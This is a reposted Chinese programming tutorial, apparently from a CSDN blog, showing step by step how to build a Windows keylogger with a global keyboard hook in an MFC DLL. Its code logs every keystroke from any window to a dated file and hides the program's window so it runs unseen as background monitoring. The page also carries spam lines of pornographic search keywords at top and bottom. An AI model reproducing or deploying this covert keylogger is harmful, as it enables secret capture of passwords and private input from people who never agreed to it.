欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
鍵盤(pán)鉤子
鍵盤(pán)鉤子
 系統鉤子和DLL
  鉤子的本質(zhì)是一段用以處理系統消息的程序,通過(guò)系統調用,將其掛入系統。鉤子的種類(lèi)有很多,每種鉤子可以截獲并處理相應的消息,每當特定的消息發(fā)出,在到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權。此時(shí)在鉤子函數中就可以對截獲的消息進(jìn)行加工處理,甚至可以強制結束消息的傳遞。
在本程序中我們需要捕獲在任意窗口上的鍵盤(pán)輸入,這就需要采用全局鉤子以便攔截整個(gè)系統的消息,而全局鉤子函數必須以DLL(動(dòng)態(tài)連接庫)為載體進(jìn)行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)、Regular using the shared MFC DLL(標準動(dòng)態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見(jiàn)采用了標準靜態(tài)連接MFC DLL。
  三、鍵盤(pán)鉤子程序示例
  本示例程序用到全局鉤子函數,程序分兩部分:可執行程序KeyHook和動(dòng)態(tài)連接庫LaunchDLL。
  1、首先編制MFC擴展動(dòng)態(tài)連接庫LaunchDLL.dll:
   (1)選擇MFC AppWizard(DLL)創(chuàng )建項目LaunchDLL;在接下來(lái)的選項中選擇Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)。
   (2)在LaunchDLL.h中添加宏定義和待導出函數的聲明:
  #define DllExport __declspec(dllexport)
  ……
  DllExport void WINAPI InstallLaunchEv();
  ……
  class CLaunchDLLApp : public CWinApp
  {
  public:
  CLaunchDLLApp();

  //{{AFX_VIRTUAL(CLaunchDLLApp)
  //}}AFX_VIRTUAL

  //{{AFX_MSG(CLaunchDLLApp)
  // NOTE - the ClassWizard will add and remove member functions here.
  // DO NOT EDIT what you see in these blocks of generated code !
  //}}AFX_MSG
  DECLARE_MESSAGE_MAP()
  };
(3)在LaunchDLL.cpp中添加全局變量Hook和全局函數LauncherHook、SaveLog:
  HHOOK Hook;
  LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
  void SaveLog(char* c);
(4)完成以上提到的這幾個(gè)函數的實(shí)現部分:
  ……
  CLaunchDLLApp theApp;
  ……
  DllExport void WINAPI InstallLaunchEv()
  {
  Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
  (HOOKPROC)LauncherHook,
  theApp.m_hInstance,
  0);
  }
在此我們實(shí)現了Windows的系統鉤子的安裝,首先要調用SDK中的API函數SetWindowsHookEx來(lái)安裝這個(gè)鉤子函數,其原型是:
  HHOOK SetWindowsHookEx(int idHook,
  HOOKPROC lpfn,
  HINSTANCE hMod,
  DWORD dwThreadId);
  其中,第一個(gè)參數指定鉤子的類(lèi)型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關(guān)心鍵盤(pán)操作所以設定為WH_KEYBOARD;第二個(gè)參數標識鉤子函數的入口地址,當鉤子鉤到任何消息后便調用這個(gè)函數,即當不管系統的哪個(gè)窗口有鍵盤(pán)輸入馬上會(huì )引起LauncherHook的動(dòng)作;第三個(gè)參數是鉤子函數所在模塊的句柄,我們可以很簡(jiǎn)單的設定其為本應用程序的實(shí)例句柄;最后一個(gè)參數是鉤子相關(guān)函數的ID用以指定想讓鉤子去鉤哪個(gè)線(xiàn)程,為0時(shí)則攔截整個(gè)系統的消息,在本程序中鉤子需要為全局鉤子,故設定為0。
  ……
  LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
  {
  LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
  if(nCode==HC_ACTION)
  {
  if(lParam & 0x80000000)
  {
  char c[1];
  c[0]=wParam;
  SaveLog(c);
  }
  }
  return Result;
  }
  雖然調用CallNextHookEx()是可選的,但調用此函數的習慣是很值得推薦的;否則的話(huà),其他安裝了鉤子的應用程序將不會(huì )接收到鉤子的通知而且還有可能產(chǎn)生不正確的結果,所以我們應盡量調用該函數除非絕對需要阻止其他程序獲取通知。
  ……
  void SaveLog(char* c)
  {
  CTime tm=CTime::GetCurrentTime();
  CString name;
  name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
  CFile file;
  if(!file.Open(name,CFile::modeReadWrite))
  {
  file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
  }
  file.SeekToEnd();
  file.Write(c,1);
  file.Close();
  }
  當有鍵彈起的時(shí)候就通過(guò)此函數將剛彈起的鍵保存到記錄文件中從而實(shí)現對鍵盤(pán)進(jìn)行監控記錄的目的。
  編譯完成便可得到運行時(shí)所需的鍵盤(pán)鉤子的動(dòng)態(tài)連接庫LaunchDLL.dll和進(jìn)行靜態(tài)鏈接時(shí)用到的LaunchDLL.lib。
  2、下面開(kāi)始編寫(xiě)調用此動(dòng)態(tài)連接庫的主程序,并實(shí)現最后的集成:
   (1)用MFC的AppWizard(EXE)創(chuàng )建項目KeyHook;
   (2)選擇單文檔,其余幾步可均為確??;
   (3)把LaunchDLL.h和LaunchDLL.lib復制到KeyHook工程目錄中,LaunchDLL.dll復制到Debug目錄下。
   (4)鏈接DLL庫,即在"Project","Settings…"的"Link"屬性頁(yè)內,在"Object/librarymodules:"中填 入"LaunchDLL.lib"。再通過(guò)"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來(lái),最后在視類(lèi)的源文件KeyHook.cpp中加入對其的引用:
  #include "LaunchDLL.h"
  這樣我們就可以象使用本工程內的 函數一樣使用動(dòng)態(tài)連接庫LaunchDLL.dll中的所有導出函數了。
(5)在視類(lèi)中添加虛函數OnInitialUpdate(),并添加代碼完成對鍵盤(pán)鉤子的安裝:
  ……
  InstallLaunchEv();
  ……
(6)到此為止其實(shí)已經(jīng)完成了所有的功能,但作為一個(gè)后臺監控軟件,運行時(shí)并不希望有界面,可以在應用程序類(lèi)CkeyHookApp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow (SW_HIDE);即可。
  四、運行與檢測
  編譯運行程序,運行起來(lái)之后并無(wú)什么現象,但通過(guò)Alt+Ctrl+Del在關(guān)閉程序對話(huà)框內可以找到我們剛編寫(xiě)完畢的程序"KeyHook",隨便在什么程序中通過(guò)鍵盤(pán)輸入字符,然后打開(kāi)記錄文件,我們會(huì )發(fā)現:通過(guò)鍵盤(pán)鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。
  小結:系統鉤子具有相當強大的功能,通過(guò)這種技術(shù)可以對幾乎所有的Windows系統消息進(jìn)行攔截、監視、處理。這種技術(shù)廣泛應用于各種自動(dòng)監控系統中




Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=803529

本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
鉤子技術(shù)
在Windows系統中用VC 實(shí)現鉤子機制
鉤子函數與動(dòng)態(tài)鏈接庫
HOOK (轉)
Delphi 鉤子(1)
跟蹤MFC 事件流程.
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久